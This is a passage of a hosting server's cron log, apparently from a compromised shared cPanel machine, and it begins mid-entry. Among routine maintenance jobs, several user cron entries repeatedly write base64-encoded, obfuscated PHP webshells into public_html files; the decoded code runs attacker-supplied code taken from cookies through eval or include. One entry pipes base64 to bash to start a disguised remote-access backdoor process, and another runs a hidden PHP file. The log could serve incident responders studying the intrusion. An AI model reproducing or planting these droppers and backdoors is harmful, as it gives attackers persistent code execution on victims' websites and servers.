6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:58:01 medusa CROND[19634]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:58:01 medusa CROND[19631]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:59:01 medusa CROND[21315]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:59:01 medusa CROND[21352]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:59:02 medusa CROND[21403]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:59:02 medusa CROND[21404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:59:02 medusa CROND[21405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:59:02 medusa CROND[21406]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:59:02 medusa CROND[21408]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:59:02 medusa CROND[21409]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:59:02 medusa CROND[21410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:59:02 medusa CROND[21411]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:59:02 medusa CROND[21414]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:59:02 medusa CROND[21415]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:00:01 medusa CROND[23310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:00:01 medusa CROND[23316]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:00:02 medusa CROND[23318]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:00:02 medusa CROND[23378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:00:02 medusa CROND[23379]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23380]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:00:02 medusa CROND[23381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:00:02 medusa CROND[23382]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:00:02 medusa CROND[23383]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:00:02 medusa CROND[23385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23388]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23391]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:00:02 medusa CROND[23394]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 07:00:02 medusa CROND[23396]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:00:02 medusa CROND[23397]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:00:02 medusa CROND[23403]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 07:00:02 medusa CROND[23405]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:00:02 medusa CROND[23404]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 07:00:02 medusa CROND[23409]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 07:00:02 medusa CROND[23411]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:00:02 medusa CROND[23414]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 07:00:02 medusa CROND[23416]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23412]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:00:02 medusa CROND[23417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23410]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23413]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23424]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:00:02 medusa CROND[23425]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 07:00:02 medusa CROND[23398]: (root) CMD (/usr/lib64/sa/sa1 1 1)
